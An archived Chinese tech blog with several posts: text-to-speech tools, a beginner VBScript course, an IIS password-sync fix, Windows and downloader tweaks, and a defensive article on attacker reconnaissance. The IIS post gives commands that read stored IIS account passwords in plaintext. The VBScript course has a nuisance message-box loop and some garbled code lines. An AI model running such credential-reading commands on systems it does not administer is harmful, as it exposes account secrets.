有意思的在线文本阅读工具,为您推荐六款

0

分类 : 业界动态 | 发表时间 16-12-2007

文本不只是简简单单的,打字显示排版打印;以下介绍的几种非常特别的在线文本工具,有许多有意思的小功能,比如能够把文本生成语音,能够生成男、女声,还可以设置语言选择,语速,语调和声音效果等。

1, Vozme

vozMe拥有超级简单的界面,任何人都会使用。它有一个很有趣的功能,那就是在对话框的下方,有一个“创建MP3”的按钮,在输入完文字之后点击这个按钮,vozMe会立即帮你生成一个输入文字的MP3格式音频。

2, Expressivo

Expressivo每次允许输入最多200个字,支持粘贴功能。Expressivo不能生成MP3,但是可以即时读出所输入的语言,而且有四种语言可选,女声美式英语,女声罗马利亚语,男声波兰语和女声波兰语。

3, Cepstral

Cepstral可以将所输入的语言转化为.wav的格式,输入完语言之后,点击“发音”键即可。Cepstral强大的地方在于不仅可以下载wav文件,而且可以做简单的先期处理,比如语言选择,语速,语调和声音效果。

4, Ivona Speech Synthesizer

Ivona Speech Synthesizer拥有和Expressivo一样的输入上限,200个字。同样,Ivona Speech Synthesizer也允许用户将输入文字转为MP3格式保存,不过用户不能将MP3文件用作商业用途。

5, SpokenText

SpokenText的最大不便之处可能就是要求用户先注册才能使用了,不过它的设计也值得用户花上这几分钟。登录之后,用户先点击“生成新记录”,然后从5种声音中选择一种,之后设置好语速就可以了。值得注意的是,SpokenText并不支持在线文本输入,用户必须将想要转化的文件保存为PDF,.txt,.DOC或是.PPT格式进行上传。

6, Talkr

Talkr和上述五种有很大的不同,它并不是在线文本转化,实际上Talkr更强调podcast功能,它会将你输入的RSS新闻链内容转化为支持podcast发送的MP3文件。注册登录之后,用户所做的就是从自己喜欢的RSS新闻链中挑一个喜欢的,然后将地址输入到Talkr中即可。

原文地址:6 Online Tools for Text to Speech you would not want to miss

翻译:铁灰色

记事本再现有趣bug

0

分类 : 技术文摘 | 发表时间 18-06-2006

Bink.nu网站上的文章表示,微软的记事本程序中又存在一个有趣bug。事情经过是:

  1. 打开一个记事本程序

  2. 输入“AAAA BBB CCC DDDDD”(或者任何其它4-3-3-5的字母组合)

  3. 保存文档,并关闭笔记本

  4. 再次打开刚才保存的文档

  现在看到的都是一个个黑色的格子。此外,笔者还发现,把笔记本中显示的黑色格子再次用刚才粘贴过来的字母序列覆盖,保存并关闭笔记本。当再次代开的时候,显示的又是正确的字符序列了,的确有趣。

一个在黑客界引起轰动的菜鸟教材–编程系列

0

分类 : 网络日志 | 发表时间 15-06-2006

跟我学编程系列
原黑白新区记忆碎片的帖子!转贴上来,供大家学习!!!
发现大部分黑白的朋友都不会编程, 这可不是件好事, 所以这次我就写了一个简单的编程教程, 讲一下VBScript. 主要面向菜鸟, 懂得编程的朋友就不要浪费时间了, 如果你想接触以下VBScript也可以, 但既然有编程基础推荐直接去找一些参考书来读, 会比较快.
什么是VBScript呢? VBScript的全称是:Microsoft Visual Basic Script Editon.(微软公司可视化BASIC脚本版). 正如其字面所透露的信息, VBS(VBScript的进一步简写)是基于Visual Basic的脚本语言. 我进一步解释一下, Microsoft Visual Basic是微软公司出品的一套可视化编程工具, 语法基于Basic. 脚本语言, 就是不编译成二进制文件, 直接由宿主(host)解释源代码并执行, 简单点说就是你写的程序不需要编译成.exe, 而是直接给用户发送.vbs的源程序, 用户就能执行了.
  我知道菜鸟现在最关心的就是用什么工具来开发VBS程序了, 答案是:记事本(Notepad).我不是开玩笑, 其实任何一种文本编辑器都可以用来开发VBS开发, 只不过记事本是由系统自带的, 比较好找而已. 尽管如此, 我还是建议你去下载一个专业的文本编辑器, 因为这些工具可以提供 “语法高亮”等功能, 更加方便开发, 用哪一个随你喜好, 我比较喜欢Edit Plus (2.10).
  OK, 我们先来写一个VBScript程序热热身.
REM 输入并回显你的名字
‘使用InputBox和Msgbox函数
Dim name,msg
msg=”请输入你的名字:”
name=Inputbox(msg,”名称”)
Msgbox(name)
  把上面的程序清单输入到记事本里面, 然后保存为以.vbs为扩展名的文件(“保存类型”里面选择”所有文件”).然后双击运行, 观察运行结果. 注意:请自己输入程序清单, 不要复制->粘贴!
  我来解释一下这个程序, 第一行和第二行的开头分别是”REM”语句和” ‘ “, 这两个东西的作用是相同的, 表示本行是注释行, 就是说这两行什么也不干,只是用来说明这段程序的功能, 版权信息等等. 注释行是程序最重要的部分之一, 尽管它不是必需的, 但对于其他人阅读源代码, 以及自己分析源代码是很有好处的. 好的习惯是在必要的地方加上清晰, 简洁的注释.
  Dim用来声明一个变量, 在VBS中, 变量类型并不是那么重要, 就是说VBS会帮你自动识别变量类型, 而且变量在使用前不一定要先声明, 程序会动态分配变量空间. 在VBS中你不用考虑name储存的是一个整数还是一个小数(学名叫”浮点数”), 也不用考虑是不是字符串(一串字符, 比如:”Hello World”), VBS会自动帮你搞定. 所以第三行语句可以删除, 效果不会变, 但我强烈反对这么做, 一个变量的基本原则就是:先声明,后使用.变量名用字母开头,可以使用下划线,数字, 但不能使用vbs已经定义的字, 比如dim, 也不能是纯数字.
  下一行被称之为”赋值”, “=”是赋值符号, 并不是数学中的等于号, 尽管看起来一样.这是正统的理解, 你要理解成等于也没有什么不可. 赋值号的左边是一个变量, 右边是要赋给变量的值, 经过赋值以后, msg这个变量在程序中等同于”请输入你的名字:”这个字符串,但当msg被再次复制的时候, 原值就会消失. 不光字符串, 其他任何变量都这样被赋值, 例如: a=2, b=12.222等等.
  再往下,Inputbox和Msgbox是VBS内建的函数, 一个函数就相当于一个”黑箱”, 有输入(参数)和输出(返回值), 你可以不用了解函数是怎么运作的, 只要了解这个函数能干什么就行了, 我们也可以定义自己的函数, 不过那要等到以后再讲. 现在我们只要了解, 一个函数可以有返回值也可以没有, 可以有参数也可以没有. 例如Inputbox就是有返回值的函数, 我们用赋值号左边的变量来”接”住InputBox的返回值–就是你输入的内容. 在inputbox右边的括号里是参数列表, 每个参数用”,”分隔开, 每个参数有不同的功效, 比如第一个参数会显示在提示里, 我们把msg这个变量作为第一个参数传给了Inputbox 函数, 而msg=”请输入你的名字:”, 所以我们在对话框的提示栏就会看到”请输入你的名字:” 第二个参数是对话框的标题, 我们用直接量(学名叫”常量”, 这里是”字符串常量”)传递给函数, 当然你也可以传递变量. Inputbox还有很多参数, 比如你在”名称”后面再加一个”,”然后输入随便一串字符(字符串,用双引号”"包裹起来的一串字符叫做字符串)然后运行, 看看结果. 你会发现用于输入的文本框有了默认的值, 这就是第三个参数的作用.
  Msgbox函数是用来输出的函数, 在VBS中没有专门的输出函数(BASIC中的print,C中的printf), 所以我们只能用对话框来观察输出结果, Msgbox的必要参数只有一个, 就是要输出的内容, 在这种情况下, 我们不需要理会msgbox的返回值. 关于Msgbox和Inputbox我们以后还会在讨论, 今天只是热热身, 到此为止.
要点:
1) 注释(以REM或’开头)行在程序中不起作用, 但能让别人更容易读懂你的程序.
2) 变量好像一个盒子, 或一个代号, 可以代表你想代表的东西. 变量赋值使用”=”
3) 以”"包裹起来的字符称之为”字符串”
4) 函数像一个”黑箱”, 有参数和返回值, 用”=”左边的变量可以接住返回值
5) Inputbox函数弹出一个输入对话框,Msgbox则用于输出
作业:
1) 试验Inputbox的第三个参数
2) 写一段程序输出你的年龄
3) 写一段程序进行3次输入, 分别输入你和你父母的姓名(要求显示提示), 并分3次输出
第二篇:
我真没想到, 第一次的作业竟然有人不会.
  看来要讲的非常非常细致才行, 嗯, 今天讲各种”量”和基本运算
  先说常量, 这个比较简单.
  什么是常量呢, 常量就是其值不可变化的量.
  常量分为两种:第一种, 自然常量. 这叫是因为它们本身就是常量, 你怎么更改21的值呢? 他永远都是21, 不可能变成46
如果你在程序中使用”21=46″, 这样的语句将会引发一个错误. 同样的, 字符串也是常量 (还记得字符串吗? 就是包裹在”"之间的一串字符), “Hello World”就是一个例子, 如果你使用”Hello World”=”Bye”这样的语句同样会引发一个错误. 你能举出自然常量的更多例子吗?
  第二种, 是我们自己定义的常量,这种量也使用代号, 他们也被赋值, 但和变量的不同点在于, 他们在定义的时候被赋值,以后就不能改变了,如果企图改变将会引发一个错误. 定义一个变量,我们使用”const”这个关键字(关键字的意思是系统定义了有特殊功能的字, 不能作为变量名或常量名使用),格式是:const 常量名=常量值.
例如:
const PI=3.1415926
const NAME=”记忆碎片”
  这样我们就定义了两个常量, PI和NAME, 一般说来, 常量名全部使用大写, 但也可以不用, 随你喜好. 将一些在程序中不需要改变的值定义为常量是个好习惯, 这样能防止不必要的意外. 另外, 使用自定义常量也可以减少你的工作量. 比如:
msgbox(“Hello World”)
msgbox(“Hello World”)
msgbox(“Hello World”)
msgbox(“Hello World”)
msgbox(“Hello World”)
  这个程序输出五次Hello World, 如果你想要改变输出为Bye-Bye, 就必须修改全部程序, 当然你可以手动修改5次, 但如果你要输出1000次呢? 常量就可以替我们解决这个问题:
const hw=”Hello World”
msgbox(hw)
msgbox(hw)
msgbox(hw)
msgbox(hw)
msgbox(hw)
  这样当你要修改输出的时候只要修改hw的值就行了.
  好了, 现在我们来看看编程的第一块重要”基石”:变量. 解释变量最好的办法我觉得是”盒子”, 一个变量好像一
个盒子, 里面只能装一个东西, 当你要装进去别的东西的时候必须把原有的东西拿出来. 这个”盒子”是有名称的, 当你在程序中使用变量的时候, 系统会打开盒子取出里面的东西, 让这些东西参与处理, 而不是盒子. 有些语言是很依赖”盒子”里面装些什么东西, 这样才能找到合适的”盒子”(比如C语言), 但VBS给我提供的是能够自动伸缩的”魔术盒”, 我们不用关心装进去的是什么东西,
VBS会自动调整盒子的大小. 例如:
Dim a1,a2,a3
a1=14
a2=12.23
a3=”Hello”
而不用像C语言那样麻烦: 或者是VB的正规声明(VB可以声明也可以不用)那样:
int a1; Dim a1 as integer
float a2; Dim a2 as Double
char* a3; Dim a3 as strnig
a1=14; a1=14
a2=12.23; a2=12.23
a3=”Hello”; a3=”Hello”
嗯……扯远了……
  变量有什么用呢? 哇, 那用处可大了. 最简单, 你并不能确定程序运行时变量的值, 比如前一节课我们编的输入姓名的程序, 你不能确定InputBox返回的是什么(还记得Inputbox的返回值吗? 就是你输入的内容), 所以你就没有办法应对各种情况, 但我们用name这个”盒子”把用户的名字装起来, 到用的时候我们只要知道name这个盒子的名字就行了, 系统会自己打开他并把里面的内容拿出来用. 再举个例子, 我们编写一个程序计算一个矩形的面积, 比如这个程序要发给小学生使用:
dim a,b,s
a=15
b=12
s=a*b
msgbox(s)
  这样就可以求出长为15,宽为12的矩形的面积了, 是不是很简单? 当然, 这个程序也可以这样写:
dim s
s=15*12
msgbox(s)
  这样看起来程序短了许多, 也节约内存, 但并不是鼓励的做法, 为什么? 请看下面.
  现在, 我们的程序要变得像点样子才行, 谁的程序写出来还要别人修改源代码才能用啊?
  所以, 我们要接受用户的输入, 还记得吗? InputBox函数.
  修改后程序如下:
dim a,b,s
a=inputbox(“请输入矩形的长:”)
b=inputbox(“请输入矩形的宽:”)
s=a*b
msgbox(s)
  ok, 这么一修改, 无论用户输入怎样的数据, 我们都能计算出矩形的面积了. 如果你用s=15*12能改嘛? 当然不行.
  我想你已经发现了, vbs中的数学计算和真正的算术没有什么不同, +,-,*,/,(),[],{}都是一样的用法, 比如:
dim ans
ans=12+32/4+[(23-10)*2]
msgbox(ans)
  四则运算的法则在编程中同样生效, 你可以在编程中重新获得小学时候的乐趣(你恨数学?那就别学电脑了).
  在编程中有一个有趣的运算符是”mod”, 这个运算符叫做”取余运算符”, 就是取得一次除法的余数, 例如
dim a
a=16 mod 5
  你知道a等于几吗? Bingo! 没错, 就是1. 因为16 / 5 =3….1, 所以mod计算的结果就是1.
  还有一个运算符是”^”(就是键盘”6″上面的小箭头), 他表示”乘幂”(或者是”方”) 比如:
dim a,b,c
a=2
b=a^2
c=a^3
msgbox(a)
msgbox(c)
  则b=a*a=4, c=a*a*a=8
  我们一次不要讲太多, 这次就讲到这里, 现在总结一下.
要点:
1) 常量分为自然常量和自定义常量, 常量的值不可修改
2) 变量就像盒子, 我们不在乎盒子里装的是什么, 但一定要知道盒子的名字
3) 四则运算在编程中没有任何不同
4) MOD是取余运算
作业:
1) 编一个程序, 计算圆形的面积, 半径由用户给出 (使用Inputbox) PI取值3.14159
2) 编一个程序取得20 / 3 的余数

第三篇(共六篇):



首先, 我来解决一下上次课程的几个疑问

第一, 那个余数问题, 16 / 5 = 3…1, 是因为我改过前面的部分, 后面的忘了改了, 不好意思.

第二, 请看一下程序清单:

1)
Dim a,b,c
a=inputbox(“a是:”,”输入半径”)
b=Inputbox(“b是:”,”输入半径”)
c=a*2+b*2
Msgbox(c)
这个 输入1、2时是6

2)
Dim a,b,c
a=inputbox(“a是:”,”输入半径”)
b=Inputbox(“b是:”,”输入半径”)
c=(a+b)*2
Msgbox(c)
这个输入1、2时是24

  为什么会不一样呢? 在数学上c=(a+b)*2 和 c=a*2+b*2是等价的, 在VBS中也是如此. 问题出在”+”上, 在VBS中, +不仅仅是加号的意思还表示把两个字符串连接起来, 例如”Hello”+”World”=”HelloWorld” have you understood? 你还记得InoutBox函数的返回值吗? 是字符串! 这就看出问题了吧, 在编程中”1″不等于(<>)1, “1″是一个字符, 而1是一个数, 所以a,b都是字符串变量, “1″+”2″=”12″, 这就好像我们小时跟伙伴开玩笑问他们1+1=?一样, 我们总是笑着说”错啦,应该是11″.但为什么, a可以*2却不发生错误呢? 这时VBS比较智能的一个表现, 如果这个字符串的内容是一个数且对他进行数学运算, 则把字符串强制转换成数参与运算, 如果字符串代表一个数, 但不参加数学运算, 而是参加字符串运算(合并)则当作字符串处理, 所以你看到a+b=12, 这时候a+b的结果(12)是一个字符串, 当它要乘以2的时候就被强制转换成了数字12, 这样我就得到了结果24.

  怎么修改这个程序呢? 我们需要用到另一个内建的函数:int, int函数的功能是将输入值转化成整数值, 我们这样修改:

c=(int(a)+int(b))*2

  这个意思就是把a作为参数传递给int函数, int函数就会返回那个整数(你的输入值), 然后让返回值参与运算, 这样就得到了正确答案.所以,以后如果你用的是inputbox函数的话,最好用int语句加工一下:比如c=int(c) ””c是你自己的变量

  大家是不是觉得这个课程有点枯燥, 呵呵, 变量和运算符部分的确是这样的, 不过多多练习也就好了, 这次, 我们写写真正好玩的东西: 流程控制语句. 这个部分开始才是真正的编程.

  首先介绍判断结构.

  在此之前, 我们先介绍一种简单的变量类型:布尔值(Boolean), 这种变量只有两个可能值:True,Flase,即真或假. 这种变量在某些情况下很有用(比如”开关”). 我们定义一个bool变量的方法和其他变量一样, 赋值也一样, 例如:

dim a,b
a=true
b=false

  注意,true和”true”是不一样的, “true”是字符串,true是布尔值, 千万不能混淆.

  回到if语句上来, 我们先来看看简化版的if语句:if 判断式 then 语句体 我们来看一个例子:

dim a,b
a=12
b=13
if b>a then msgbox(“B大于A”)

  我们只看最后一行, a>b这个式子(表达式)有一个返回值, 是bool型的. 因为这个式子只有两种可能:b大于a, b不大于a, 所以这个式子也只有两种可能性, 即真或者假. if语句判断这个表达式的返回值是真还是假, 如果是真(true)则执行then后面的语句, 如果是假, 则不执行, 你把a的值改成14看看还会不会弹出对话框?

  当我们要在判断之后执行多行语句怎么办呢, 我们需要用语句块来解决, 在这里可以叫块if

dim a,b
a=12
b=13
if amsgbox(“A小于B”)
msgbox(“B大于A”)
end if

  两个msgbox函数夹在if和end if之间, 这个部分就是语句块, 块里的每一条语句之前请空出4–8(一个键)个格, 这不是必需的, 但是是一个好习惯, 以便看清楚程序的结构. 这样我们就能运行多于一个的语句, 请注意if…then…end if 这三个关键部分不要掉了. OK, 我出一个题, 输入一个数, 如果小于100就输出”错误”, 如果大于100就输出”正确”, 我这里有两个程序版本:

dim a
a=inputbox(“请输入一个大于100的数”)
a=int(a) ””inputbox返回的是字符串, 我们把他变成整数 : )
if a>100 then msgbox(“正确”)
if a<100 then msgbox("错误")

还有一个更简单的

dim a
a
=inputbox(“请输入一个大于100的数”)
a=int(a) ””inputbox返回的是字符串, 我们把他变成整数
if a>100 then
msgbox(“正确”)
else
msgbox(“错误”)
end if

  看到多了一个else了吧, else的作用就是当要判断的表达式为false时执行的. 这样程序就可以处理两种不同的情况了. 不要忘了用end if结尾

  嘿嘿, 我是变态者, 现在我要你处理三种情况, <100,=100,>100, 还要写在一个if结构里, 你怎么办, 我给你答案:

dim a
a=inputbox(“请输入一个大于100的数”)
a=int(a) ””inputbox返回的是字符串, 我们把他变成整数
if a>100 then
msgbox(“正确”)
elseif a=100 then
msgbox(“老大, 你耍我?”)
else
msgbox(“错误”)
end if

  这次输入100看看, 是什么? else if语句可以在if结构中多次出现, 以灵活判断不同的情况 (如果你要判断得太多, 就请使用”选择结构”, 过会儿就讲), 当所有elseif都处理完了,而没有符合情况的时候再执行else中的语句.另一个例子:

Dim a,b,c,d
a=inputbox(“a是:”,”输入半径”)
b=Inputbox(“b是:”,”输入半径”)
d=Inputbox(“答案:”,”输入答案”)

c=a*2+b*2 ””这里没有问题, 会自动转换
if d=c then
Msgbox(“你好聪明”)
else
Msgbox(“你好猪头 自己的题还不会!”)
end if

  再看看这个, 无论你回答得多么正确你都是猪头, 哈哈, 不是我耍你, 还是文章开始时候的inputbox的返回类型在耍你, d是inputbox的返回值, 他是一个字符串, 而c是一次整数计算的结果, 他是一个整数. 一个字符串无论如何也不等于一个整数, 尽管他们字面上是一样的:”8″<>(不等于号)8 所以if的判断式的值永远是false, 总是执行else部分的语句. 我们可以这么修改

Dim a,b,c,d
a=inputbox(“a是:”,”输入半径”)
b=Inputbox(“b是:”,”输入半径”)
d=Inputbox(“答案:”,”输入答案”)
d=int(d)
””在这里我们取出了d的值, 变成整数, 在放回”d”这个盒子里
c=a*2+b*2
if d=c then
Msgbox(“你好聪明”)
else
Msgbox(“你好猪头 自己的题还不会!”)
end if

  这样就成功了. 这也是Inputbox函数的一个讨厌的地方, 没办法, vbs没有其他好的输入方式了.

  说到if, 我们不得不说一说逻辑运算符, 今天介绍两种, “and” 和 “or” 学会了if语句之后, 我举一个例子, 你一看就明白了.

dim a,b
a=inputbox(“输入一个数 >10″)
b=inputbox(“输入另一个数 >10″)
a=int(a)
b=int(b)
if a>10 and b>10 then
msgbox(“正确”)
else
msgbox(“错误”)
end if

  这段程序让你输入两个值, 必须都大于10, 只要有一个不大于, 就输出错误

dim a,b
a=inputbox(“输入一个数 >10″)
b=inputbox(“输入另一个数 >10″)
a=int(a)
b=int(b)
if a>10 or b>10 then
msgbox(“正确”)
else
msgbox(“错误”)
end if


  这段程序让你输入两个值, 只要有一个大于10, 就返回成功. 其实and和or很好理解, 我读”if a>10 or b>10 then” 这一句, 用华语是这样:”如果a大于10或者b大于10, 那么…”. 这样是不是就很好理解了呢.

  OK, 我们再来看一种新结构, 今天的课就结束, 已经午夜了, 我都累死了.

  当你的程序要处理很多种不同的判断情况的时候elseif..then会让程序看起来很杂乱, 所以就有了一种select case结构专门对付这种情况, select case的语法结构很简单:

select case 变量名
case 值
语句
case 值
语句
case else
语句
end select


  我们举个例子就能很简单的说明:

dim a
a=inputbox(“输入一个1–3的值”)
a=int(a) ””处理inputbox返回字符串的问题
select case a
case 1
msgbox(“壹”)
case 2
msgbox(“贰”)
case 3
msgbox(“叁”)
case else
msgbox(“输入错误”)
end select

  这个例子把1,2,3这三个阿拉伯数字转化成中国大写数字, 这个程序写成if…elseif 的形式如下

dim a
a=inputbox(“请输入1–3的值”)
a=int(a)
if a=1 then
msgbox(“壹”)
elseif a=2 then
msgbox(“贰”)
elseif a=3 then
msgbox(“叁”)
else
msgbox(“输入错误”)
end if

  怎么样, 麻烦吧, 还是select好吧.

  OK, 今天到此结束, 总结一下:


要点:

1) inputbox返回的是一个字符串, 而不是一个数, 必须用a=int(a)这种形式转化成数

2) bool变量的值只有两种:true,false

2.5) and两边的表达式都是true, 则返回true. or两边的表达式有一个是true, 就返回true

3) if 语句的格式

4) select…case的格式


作业:

1) 使用3个bool值, 储存你的3兄弟姐妹是否是男性 (提示:sister1male=false)

2) 给定一个个数, 大于10而且小于20输出”正确”, 否则输出”错误”

3) 输入12,或者15, 输出”正确”, 否则输出”错误”

4) 把5以内的正整数都转换成中国大些数字

5) 自己随便设计一个程序, 应用今天的知识

四篇(共六篇):



大家好, 昨天我休息了一天, 所以今天写第4章:循环结构

  我们先来看一道题:商场进行每日结算, 要求累加出今天的营业额, 每次输入一个数, 这道题其实很简单, 但就我们现在学

过的知识要完成这道题相当麻烦, 我们来分析一下. 首先, 我们需要知道买卖的次数, 这样才能控制输入的次数,但是, 这种设

计是非常低效的, 每天都要重新设计程序. 假定今天进行了5次交易, 以下是源程序:

dim sum
sum=0 ‘初始化变量
sum=sum + int(inputbox(“请输入交易额”))
‘sum=sum+x 这种形式是把本身的值取出来, 进行一次运算, 再放回本身, 这种方法很有用处
‘这里使用了函数嵌套, 把inputbox的返回值直接传给int函数, 转化成整数, 下同
sum=sum + int(inputbox(“请输入交易额”))
sum=sum + int(inputbox(“请输入交易额”))
sum=sum + int(inputbox(“请输入交易额”))
sum=sum + int(inputbox(“请输入交易额”))
msgbox(sum)

  看到了吗, 我通过把计算过程复制了5遍才设计好了程序, 这种程序在汽车交易所等交易次数少的地方还能凑合着用, 如果

放到超市岂不是要复制, 粘贴几千遍? 我们今天讲的内容就可以克服这种缺陷, 首先, 我们来讲以下Do…Loop语句.

  do…loop的结构看上去非常简单, 就是:do…loop, 仅此而已, 这个结构不断执行do和loop之间的语句(学名叫:循环体),
永不停止. 举个例子来说:

do
msgbox(“这个信息会不断重复出现, 要停止程序请使用任务管理器(Ctrl+Alt+Del)中止wscript进程”)
loop

  运行这个程序, 当你点销掉一个对话框马上会出来另一个, 你永远点不完, 总有下一个. 谁会运行这样的程序? 除非是给

别人捣乱(我就干过这种事), 所以在do..loop结构中还有一个语句:exit do, 这个语句将终止循环, 跳到loop后面的语句继续

执行. 据个例子来说:

dim a ‘注意:常量不需要在dim里面声明,否则会引发错误
const pass=”123456″ ‘这是一个字符串 请用”"包裹起来. 设定密码为常量, 不可变更
do
a=inputbox(“请输入密码”)
if a=pass then
msgbox(“密码校验成功”)
exit do
end if
loop

  这个程序会一直不停的问你密码, 知道你输入了正确的密码为止.(if可以嵌套在另一个if当中, 也可以嵌套在循环体当中

, 所以一定要用缩进, 来分清楚程序的各个部分). 这个程序是很经典的, 早期的程序都是这么做的. 但是我

今天服务器IIS出错:Server Application Error

0

分类 : 技术文摘 | 发表时间 10-06-2006

来自:何昕博客 http://www.hxblog.net

老刘半夜给我发信息说229服务器出故障,打开他的站点提示:Server Application Error
MD 这个老爷机又出问题了,…..经过初步诊断是 IUSR_计算机名 和 IWAM_计算机名 帐户的用户名和密码所存储的三个位置未能同步!

记录下我的具体解决步骤:
1) 右键单击 我的电脑—->管理,打开计算机管理界面
打开 本地用户和组—->用户
右键单击 启动IIS进程帐号IWAM_****(注:****一般是计算机名)
点击设置密码,设置为一个你想要的密码。

2) 同步IIS 配置数据库密码:
此处命令有二种,一种可以查看密码,一种是修改密码:

a.你可以利用查看密码命令查看 IWAM密码,然后把第一步中用户IWAM密码设置为与 查看到的IIS配置数据库密码 一样

b.也可以利用修改密码命令把IIS配置数据库密码修改为你第一步修改过的IWAM密码。

二种任你选择。

查看密码:
这里注意:在WIN2000中,查看到的密码为星号,若要不为星号,必须要先修改adsutil.vbs文件。

修改方法:
a.到c盘 inetpub\adminscripts找到adsutil.vbs (根据装系统时设定的不同,有的路径可能不一样)
b.右键单击,用记事本打开
c.查找 IsSecureProperty = True注意=前后各有一个空格
d.将 IsSecureProperty = True 改为 IsSecureProperty = False
e.保存,关闭,OK。

不罗嗦了,下面列出

查看密码命令:

开始—>程序—>附件 打开命令提示符
输入cd c:\inetpub\adminscripts

获取 IWAM 帐户密码命令: cscript.exe adsutil.vbs get w3svc/wamuserpass

获取 IUSR 帐户密码命令: cscript.exe adsutil.vbs get w3svc/anonymoususerpass

输入以上命令,按回车可分别查看IWAM和IUSR的密码。

修改密码命令:

修改 IWAM 帐户密码 cscript.exe adsutil.vbs set w3svc/wamuserpass “password”

修改 IUSR 帐户密码 cscript.exe adsutil.vbs set w3svc/anonymoususerpass “password”

password 设置为你想修改的密码,即与第一步中你设置的用户IWAM_****的相同,按回车即可修改完成。

这里一定要注意:w3svc与wamuserpass之间的杠是/而不是\,否则会出错。

并且还要注意:修改密码前请一定停止所有的Internet信息服务,否则后面可能会出错,并且IWAM帐户可能会被锁定。

如何停止?打开计算机管理,在Internet信息服务上单击右键,选择重新启动IIS服务,在选项中点停止IIS服务,确定即可。


3) 更改组件服务中的密码

开始—>程序—>附件 打开命令提示符
先输入cd c:\inetpub\adminscripts

然后输入cscript.exe synciwam.vbs -v

系统会提示:


引用内容
microsoft (r) windows script host version 5.6

版权所有(c) microsoft corporation 1996-2000。保留所有权利。


wamusername:iwam_myserver

wamuserpass:aboutnt2001

iis applications defined:

name, appisolated, package id

w3svc, 0,3d14228c-fbe1-11d0-995d-00c04fd919c1}

root, 2,

iishelp, 2,

iisadmin, 2,

iissamples, 2,

msadc, 2,

root, 2,

iisadmin, 2,

iishelp, 2,

root, 2,

root, 2,


out of process applications defined:

count: 1

3d14228d-fbe1-11d0-995d-00c04fd919c1}


updating applications:

name: iis out-of-process pooled applications key:3d14228d-fbe1-11d0-995d-00c04fd919c1}



这时所有操作基本就OK了,重新启动IIS。搞定!

10秒钟就能完成开机画面变脸

0

分类 : 技术文摘 | 发表时间 09-06-2006

提到更换Windows开机画面,很多朋友都会,不就是找一个eXeScope之类的工具修改、替换可执行文件的资源,或者用BootSkin之类的专用软件来完成吗?错了,根本不用这么麻烦,其实在Windows XP/2003中,只要利用一个秘密参数,几秒钟就能让系统开机画面变脸,不必修改系统文件,没有任何风险!

  两步替换画面

  第一步:用记事本打开C:\Boot.ini,找到Windows XP启动项所在行,在末尾处加入“/bootlogo /noguiboot”。

  第二步:找到自己做好的开关机画面,存放到Windows目录下(C:\Windows),文件名为boot.bmp。注意:文件名和扩展名都不能改变,图片要求分辨率为640×480,16色。

  重启电脑,看看开机画面是不是已经变了?如果不满意,可以直接用新的图片替换boot.bmp就行了,真是简单极了!

迅雷终极提速绝技

0

分类 : 技术文摘 | 发表时间 29-04-2006

迅雷有一个很特殊的本领:搜索可下载资源。当你启动迅雷进行下载时,它会一边下载,一边搜索可用的其它同名下载资源(这么强的功能,不知道迅雷官方为什么不宣传)。迅雷搜索可用的下载资源默认线程是5,如果我们将这个数值改大一些,比如改成20,也就意味着你比其他雷友多出四倍的下载资源!

  进入迅雷安装目录“X:\Program Files\Thunder\Program”(“X”为迅雷所在分区的盘符),找到“download.cfg”文件,然后用记事本打开该文件。

  打开“download.cfg”文件后,按下“Ctrl+F”组合键,在弹出的查找窗口中输入“[p2s]”,点击“确定”后即可找到字符串“[p2s]”
  我们就是要在这个地方做做文章。在“[p2s]”这一行后“回车”,输入“thread_num=20”,意思就是将迅雷的默认搜索备用下载资源改为20。
  
提示:
  迅雷默认的搜索备用下载资源的最大线程数是60,所以你在输入的数值不能大于60。但是这里也不建议将这个数值修改的过大,这对你所在的网络带宽以及机器配置要求比较高,过高的数值对会给带宽和机器带来比较大的负荷。

  可能会有朋友问,为什么不用增加下载线程的方法,而用增加搜索备用下载资源的方法呢?我给你说一个简单的道理你吧,假设某服务器对每个连接的IP设定了最高连接数为5的通道(即下载线程),就算你将下载线程设置成20也是枉然,因为服务器上只给你开了5个通道。而搜索备用下载资源则不同了,当你在这个服务器上获得5个线程后,迅雷还会在其它服务器上搜索同名资源,一旦搜索到,迅雷就会同时在搜索到的服务器上开始下载。经过这么小小的修改,你的下载才会得到真实、有效的提速。

黑客如何查找网络安全漏洞

0

分类 : 系统安全 | 发表时间 25-04-2006

电脑黑客们总是希望知道尽可能多的信息,比如:是否联网、内部网络的架构以及安全防范措施的状态。一旦那些有经验的黑客盯上了你的网络系统,他们首先会对你的系统进行 分析。这就是为什么我们说运用黑客的“游戏规则”是对付黑客的最好办法的原因。以黑客的眼光来审视网络安全性,往往可以发现很多潜在的安全漏洞。这样做不仅提供了审视 你网络系统的不同视角,而且让你能够从你的敌人,即黑客的角度来指导你采取最有效的网络安全措施。

下面,我们来看一下网络系统分析的过程。这个过程要用到开源工具和相关技术。

用开源工具收集信息

首先,登录Whois.com网站查找你企业的域名,检索结果将会显示出你的网络系统所使用的DNS服务器。然后,再使用一些软件工具,如:nslookup,来进一步挖掘DNS服务器的详细 信息。

接下来,需要将目标转向于企业的公众Web站点和你能找到的匿名FTP服务器。注意,你现在需要关注的信息主要是:域名、这些域名的IP地址、入侵检测系统的所有信息、用户名 、电话号码、电子邮件地址、物理位置、已发布的安全策略、业务合作伙伴的资料、以及新并购企业的信息。

此外,在你的上述搜索操作中,一定要特别注意这些网站上已显示的和没有显示的信息。最好,把这些网页存入你的电脑中,然后用记事本程序打开,查看网页的源代码。一般而言,查看网页的源代码可以大量的信息,这也就是某些站点有意对浏览者屏蔽源代码的原因。在源代码文件中,你也许能够了解到网站开发者建站的方式:他们所使用的软 件类型及软件版本、网站以及网页的架构,有时候甚至能够发现一些网站管理员的个人资料。

业务合作伙伴的站点或一些新的并购企业的站点往往是黑客入侵的关键点。这些站点是间接入侵目标站点的最佳突破口,容易被网站管理员所忽视,给黑客攻击者制造了大量的机 会。如果你在这方面没有足够的警惕性,疏忽大意,很草率地新某个新的业务合作者的网站和你自己的站点联接起来,往往会造成很严重的后果,给你的站点带来极大的安全威胁 .在这样的情况下,安全问题比经营问题更加重要,一定要确保安全操作。

从外部审视网络

有了上述信息收集,你可以开始审视你的网络了。你可以运用路径追踪命令来查看你的网络拓扑结构图和访问控制的相关设置。你会获得大量交换机的特征信息,用来旁路访问控 制设备。

注意,命令的反馈结果会因为所使用操作系统的不同而有所差别。UNIX操作系统使用UDP,也可以选择使用ICMP;而Windows操作系统默认用ICMP来响应请求(Ping)。

